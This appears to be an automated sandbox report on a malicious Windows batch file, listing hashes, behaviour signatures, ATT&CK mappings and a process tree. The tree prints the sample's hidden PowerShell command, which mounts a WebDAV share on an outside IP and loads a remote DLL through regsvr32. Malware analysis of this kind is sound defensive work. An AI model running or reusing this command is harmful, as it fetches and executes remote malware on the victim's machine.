2571c1aed9e0afd80f3d9fd582a2243e9290f15dde9dc59ba2d584fe229b0f3e

Analysis

max time kernel
118s
max time network
118s
platform
windows7_x64
resource
win7-20240704-en
resource tags

arch:x64arch:x86image:win7-20240704-enlocale:en-usos:windows7-x64system
submitted
22-07-2024 02:50

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General

Target

17040149102610426347.bat
Size

16KB
MD5

fc31aea06f665c4a337c021f2b636e08
SHA1

5d210e524b21fd5205f1dd78a0ae94ffba28210e
SHA256

2571c1aed9e0afd80f3d9fd582a2243e9290f15dde9dc59ba2d584fe229b0f3e
SHA512

3e53c1584e4a4623c10e8bb40cbb8fd1d078c334d1b8c7640dc770740592c46159d65428df7421f11538767df7be3fed5fa116130a926e1ef77b246f6976711a
SSDEEP

384:cDiivw9HeDghRmjkIH5W8cUYm1cbG8odybruegj:G89HeDgh0Iy5bcS1cdoj

Score

8^/10

execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2784	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Runs net.exe

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2784	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2784	powershell.exe

Suspicious use of SetWindowsHookEx 5 IoCs

pid	Process
2820	wordpad.exe
2820	wordpad.exe
2820	wordpad.exe
2820	wordpad.exe
2820	wordpad.exe

Suspicious use of WriteProcessMemory 14 IoCs

description	pid	Process	procid_target
PID 2656 wrote to memory of 2820	2656	cmd.exe	31
PID 2656 wrote to memory of 2820	2656	cmd.exe	31
PID 2656 wrote to memory of 2820	2656	cmd.exe	31
PID 2656 wrote to memory of 2784	2656	cmd.exe	32
PID 2656 wrote to memory of 2784	2656	cmd.exe	32
PID 2656 wrote to memory of 2784	2656	cmd.exe	32
PID 2784 wrote to memory of 2536	2784	powershell.exe	34
PID 2784 wrote to memory of 2536	2784	powershell.exe	34
PID 2784 wrote to memory of 2536	2784	powershell.exe	34
PID 2784 wrote to memory of 2648	2784	powershell.exe	35
PID 2784 wrote to memory of 2648	2784	powershell.exe	35
PID 2784 wrote to memory of 2648	2784	powershell.exe	35
PID 2784 wrote to memory of 2648	2784	powershell.exe	35
PID 2784 wrote to memory of 2648	2784	powershell.exe	35

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\17040149102610426347.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:2656
- C:\Program Files\Windows NT\Accessories\wordpad.exe
  "C:\Program Files\Windows NT\Accessories\wordpad.exe"
  2⤵
  - Suspicious use of SetWindowsHookEx
  PID:2820
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -windowstyle hidden net use \\45.9.74.36@8888\davwwwroot\ ; regsvr32 /s \\45.9.74.36@8888\davwwwroot\193261688821864.dll
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2784
- - C:\Windows\system32\net.exe
    "C:\Windows\system32\net.exe" use \\45.9.74.36@8888\davwwwroot\
    3⤵
    PID:2536
- - C:\Windows\system32\regsvr32.exe
    "C:\Windows\system32\regsvr32.exe" /s \\45.9.74.36@8888\davwwwroot\193261688821864.dll
    3⤵
    PID:2648

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/2784-23-0x000000001B6E0000-0x000000001B9C2000-memory.dmp

Filesize
2.9MB

Download
memory/2784-24-0x0000000001E10000-0x0000000001E18000-memory.dmp

Filesize
32KB

Download